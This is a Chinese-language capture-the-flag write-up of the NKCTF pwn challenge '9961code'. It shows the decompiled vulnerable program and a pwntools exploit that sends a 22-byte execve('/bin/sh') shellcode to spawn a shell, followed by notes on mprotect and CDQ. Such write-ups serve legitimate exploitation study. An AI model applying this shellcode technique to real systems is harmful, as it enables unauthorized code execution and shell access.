9961code

b4nd1t

nkctf 9961code

保护检查

1680236712928

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]

init();
buf = (void *)(int)mmap((void *)0x9961000, 0x1000uLL, 7, 34, -1, 0LL);
puts("Last night i played touhou fuujinroku ~ Mountain of Faith\n");
puts("F**k! I failed and 9961 in the end!\n");
puts("In that case, you can only enter a very short shellcode!\n");
read(0, buf, 0x16uLL);
puts("I hope you can NMNB it!");
mprotect(buf, 0x1000uLL, 4);
JUMPOUT(0x9961000LL);
}

1680236797262

这题我是直接跟着其他师傅的文章做的,需要构造一个短小的shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./pwn")

shellcode = """
xor rsi, rsi
lea rdi, [r15 + 0xe]
cdq
mov ax, 59
syscall
"""
payload = asm(shellcode) + b'/bin/sh'
print(len(payload))
p.send(payload)
p.interactive()

总结

​ 我一开始以为最后的mprotect是改成只读,因为在linux上4好像是可读权限,后来查了一下mprotect函数,在这个函数中4代表的是可执行权限

另外学到

CDQ(Convert Double to Quad的缩写,意为将双字数据扩展为四字),大多出现在除法运算之前. 它实际的作用只是把EDX的所有位都设成EAX最高位的值.

也就是说,当EAX <80000000, EDX 00000000 (80000000以下是正数,原码0开头); 当EAX >= 80000000, EDX 则为FFFFFFFF).